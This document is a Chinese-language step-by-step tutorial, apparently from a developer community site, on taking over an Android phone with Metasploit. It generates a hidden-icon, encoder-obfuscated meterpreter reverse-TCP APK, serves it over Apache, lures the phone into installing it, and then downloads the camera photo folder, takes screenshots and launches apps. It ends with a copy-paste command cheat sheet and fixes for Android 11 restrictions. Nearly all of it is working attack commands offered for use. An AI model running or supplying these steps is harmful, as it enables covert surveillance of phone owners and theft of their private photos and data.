一、 环境准备与信息搜集

1. 确定攻击机 IP 地址

在 Kali Linux 终端执行 ifconfigip addr,找到连接同一 WiFi 的网卡 IP。

  • 今晚实战 IP10.205.105.150
  • 重要性:这是木马回连的 “指挥中心” 地址,必须确保靶机手机能 Ping 通此 IP。

2. 靶机环境确认

  • 目标系统:Android 11+ (高版本,权限限制较严)
  • 网络环境:与 Kali 处于同一 WiFi 网段。
  • 前置条件:手机需开启 “允许安装未知来源应用” 权限(针对浏览器或文件管理器)。

二、 恶意载荷(Payload)生成与部署

1. 使用 msfvenom 生成木马 APK

利用 Metasploit 内置工具生成 Android 后门程序。

  • 核心命令

    bash

    运行

    msfvenom -p android/meterpreter/reverse_tcp \
    LHOST=10.205.105.150 \
    LPORT=4444 \
    -o /var/www/html/hack.apk \
    --platform android \
    --arch dalvik \
    AndroidMeterpreter::Options::HideAppIcon=true \
    --encoder x86/shikata_ga_nai -i 3
    
  • 参数详解
    • -p:指定载荷为安卓反向 TCP Shell。
    • LHOST/LPORT:监听主机 IP 和端口。
    • -o:输出路径(直接放入 Apache 网站根目录 /var/www/html/)。
    • HideAppIcon=true:生成无图标木马(隐蔽性)。
    • --encoder:编码免杀(尝试绕过简单的杀软)。

2. 启动 Web 服务 (Apache)

为了让手机通过浏览器下载木马。

  • 启动命令

    bash

    运行

    service apache2 restart
    
  • 本地测试

    bash

    运行

    curl http://10.205.105.150/hack.apk
    
    • 现象:显示乱码(二进制数据),说明文件存在且服务正常。

三、 监听与上线(获取会话)

1. 配置 Metasploit 监听器

在 Kali 终端打开 msfconsole

  • 配置流程

    bash

    运行

    use exploit/multi/handler
    set PAYLOAD android/meterpreter/reverse_tcp
    set LHOST 0.0.0.0  # 监听本机所有接口
    set LPORT 4444
    run
    

2. 诱导靶机上线

  • 操作:在靶机手机浏览器输入 http://10.205.105.150/hack.apk
  • 关键点
    • 浏览器可能提示 “不支持的文件类型”,需长按链接选择 “下载链接” 或使用 Chrome 浏览器。
    • 安装时需授权 “来自未知来源的应用”。
    • 安装后桌面无图标(因开启了 HideAppIcon),但进程已在后台运行。

3. 成功标志

Kali 终端显示:

text

[*] Meterpreter session X opened (10.205.105.150:4444 -> ...)

四、 后渗透攻击(核心操作与排错)

进入 meterpreter > 提示符后,执行的操作。

1. 基础信息搜集

  • 查看系统信息sysinfo
  • 查看摄像头webcam_list
    • 实战问题:Android 11+ 限制后台调用摄像头,直接拍照可能失败 (Operation failed: 1)。
    • 解决方案:改用 screenshot 截图或授予权限(grant_permission android.permission.CAMERA)。
  • 下载文件download /sdcard/DCIM/Camera (下载照片)

2. APP 管理(重难点攻克)

方法 A:使用 Meterpreter 扩展(推荐)
  1. 加载扩展

    bash

    运行

    load appapi
    
  2. 列出所有 APP(含第三方):

    bash

    运行

    app_list -a
    
    • 实战问题:中文乱码。
    • 解决方案:忽略名称,关注 Package 列(包名),或导出到文件查看。
  3. 启动 APP

    bash

    运行

    app_run <包名>
    
方法 B:使用 Android 原生 Shell(兜底方案)

当 Meterpreter 命令失效时使用。

  1. 进入 Shell

    bash

    运行

    shell -t 30  # -t 30 防止超时断开
    
  2. 查找包名

    bash

    运行

    pm list packages | grep <关键词>  # 如 grep tencent, grep browser
    
  3. 启动 APP

    bash

    运行

    am start -n <包名>/.<主Activity>
    # 简化版:
    am start <包名>
    
  4. 退出 Shell

    bash

    运行

    exit
    

3. 可视化验证

  • 截图命令screenshot
    • 作用:验证 APP 是否启动、查看手机当前界面。
    • 注意:旧版命令 screencap 在新版中已变更为 screenshot

五、 常见故障排除(Troubleshooting)

这是今晚实战中遇到的 “坑” 及解决方案,非常重要

故障现象 原因分析 解决方案
Send timed out 会话超时或网络不稳定 1. 尝试 sessions -i <ID> 重连。2. 若无效,手机重新安装 APK 触发上线。
Permission Denial: INTERACT_ACROSS_USERS_FULL Android 11+ 安全机制,禁止跨用户启动前台 Activity 1. 忽略报错,截图确认是否启动。2. 使用 am start 的简化版。3. 尝试授予 android.permission.INTERACT_ACROSS_USERS_FULL(通常失败)。
Unknown command: screencap Meterpreter 版本更新,命令变更 使用新命令:screenshot
APP 列表中文乱码 终端编码问题 1. 只看 Package 列(英文包名)。2. 使用 pm list packages 在 Shell 中查看。
摄像头拍照失败 高版本安卓限制后台调用摄像头 使用 screenshot 截取屏幕画面作为替代。

六、 完整命令速查表(可直接复制)

bash

运行

# === 阶段一:生成木马 ===
service apache2 start
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.205.105.150 LPORT=4444 -o /var/www/html/hack.apk AndroidMeterpreter::Options::HideAppIcon=true

# === 阶段二:启动监听 ===
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

# === 阶段三:控制靶机 ===
# 基础信息
sysinfo
webcam_list
screenshot  # 核心验证命令

# APP 操作
load appapi
app_list -a
app_run com.tencent.mm  # 示例:启动微信

# 文件操作
download /sdcard/DCIM/Camera

# 原生 Shell 操作
shell -t 30
pm list packages | grep tencent
am start com.tencent.mm
exit
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐